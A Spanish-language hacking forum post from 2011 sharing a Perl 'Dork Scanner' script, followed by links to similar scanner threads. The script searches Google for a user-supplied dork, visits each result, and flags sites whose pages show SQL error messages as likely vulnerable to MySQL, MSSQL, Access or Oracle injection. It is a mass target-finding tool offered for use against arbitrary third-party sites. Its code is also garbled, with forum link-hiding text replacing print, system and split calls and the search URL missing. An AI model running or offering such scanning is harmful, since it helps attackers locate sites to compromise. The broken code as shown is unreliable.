comment
IRC Chat
play_arrow
Este sitio utiliza cookies propias y de terceros. Si continúa navegando consideramos que acepta el uso de cookies. OK Más Información.

Dork Scanner

  • 0 Respuestas
  • 1266 Vistas

0 Usuarios y 1 Visitante están viendo este tema.

Desconectado [T]Killer

  • *
  • Underc0der
  • Mensajes: 123
  • Actividad:
    0%
  • Reputación 0
  • I Act as I Feel
    • Ver Perfil
« en: Mayo 31, 2011, 07:11:30 am »
Código: Perl
  1. #!/usr/bin/perl
  2.    use LWP::Simple;
  3.    use LWP::UserAgent;
  4.    use HTTP::Request;
  5.    my $sis="$^O";if ($sis eq 'MSWin32') { No tienes permisos para ver links. Registrate o Entra con tu cuenta("cls"); } else { No tienes permisos para ver links. Registrate o Entra con tu cuenta("clear"); }
  6.    No tienes permisos para ver links. Registrate o Entra con tu cuenta "+++++++++++++++++++++++++++++++\n";
  7.    No tienes permisos para ver links. Registrate o Entra con tu cuenta "+     SQL - Google Search     +\n";
  8.    No tienes permisos para ver links. Registrate o Entra con tu cuenta "+       CWH Underground       +\n";
  9.    No tienes permisos para ver links. Registrate o Entra con tu cuenta "+++++++++++++++++++++++++++++++\n\n";
  10.    No tienes permisos para ver links. Registrate o Entra con tu cuenta "Insert Dork:";
  11.    No tienes permisos para ver links. Registrate o Entra con tu cuenta( my $dork = <STDIN> );
  12.    No tienes permisos para ver links. Registrate o Entra con tu cuenta "Total Query Pages (10 Links/Pages) :";
  13.    No tienes permisos para ver links. Registrate o Entra con tu cuenta( my $page = <STDIN> );
  14.    No tienes permisos para ver links. Registrate o Entra con tu cuenta "\n
  15. ■Result:\n\n";
  16.    for($start = 0;$start != $page*10;$start += 10)
  17.    {  
  18.    $t = "   ".$dork."&btnG=Search&start=".$start;
  19.        $ua = LWP::UserAgent->new(agent => 'Mozilla 5.2');
  20.        $ua->timeout(10);
  21.        $ua->env_proxy;
  22.        $response = $ua->get($t);
  23.        if ($response->is_success)
  24.        {
  25.            $c = $response->content;
  26.            @stuff = No tienes permisos para ver links. Registrate o Entra con tu cuenta(/<a href=/,$c);
  27.            foreach $line(@stuff)
  28.            {
  29.                if($line =~/(.*) class=l/ig)
  30.                {
  31.                    $out = $1;
  32.                    $out =~ s/\"//g;
  33.          $out =~No tienes permisos para ver links. Registrate o Entra con tu cuenta/$/\'/;  
  34.         $ua = LWP::UserAgent->new(agent => 'Mozilla 5.2');
  35.         $ua->timeout(10);
  36.         $ua->env_proxy;
  37.         $response = $ua->get($out);
  38.         $error = $response->content();
  39.         if($error =~m/mysql_/ || $error =~m/Division by zero in/ || $error =~m/Warning:/)
  40.            {print "$out => Could be Vulnerable in MySQL Injection!!\n";}
  41.         elsif($error =~m/Microsoft JET Database/ || $error =~m/ODBC Microsoft Access Driver/)
  42.            {print "$out => Could be Vulnerable in MS Access Injection!!\n";}
  43.         elsif($error =~m/Microsoft OLE DB Provider for SQL Server/ || $error =~m/Unclosed quotation mark/)
  44.            {print "$out => Could be Vulnerable in MSSQL Injection!!\n";}
  45.         elsif($error =~m/Microsoft OLE DB Provider for Oracle/)
  46.            {print "$out => Could be Vulnerable in Oracle Injection!!\n";}
  47.          }
  48.      }
  49.       }
  50.        }
« Última modificación: Marzo 14, 2015, 09:57:16 am por Expermicid »

 

¿Te gustó el post? COMPARTILO!



[Uniscan] Scanner de vulnerabilidades WEB hecho en Perl

Iniciado por tar3kw0rm3d

Respuestas: 0
Vistas: 1668
Último mensaje Junio 02, 2013, 08:01:28 pm
por tar3kw0rm3d
Perl - Wordpress XMLRPC Scanner

Iniciado por ZanGetsu

Respuestas: 0
Vistas: 2213
Último mensaje Septiembre 22, 2014, 11:40:12 pm
por ZanGetsu
PHP Injection Scanner (Perl Code)

Iniciado por @ed33x

Respuestas: 0
Vistas: 1323
Último mensaje Enero 27, 2011, 08:53:33 pm
por @ed33x
[Perl] VirusTotal Scanner 0.1

Iniciado por BigBear

Respuestas: 2
Vistas: 1614
Último mensaje Mayo 16, 2013, 02:31:49 pm
por BigBear
Scanner de Directorio

Iniciado por ANTRAX

Respuestas: 0
Vistas: 2421
Último mensaje Marzo 31, 2012, 01:31:35 pm
por ANTRAX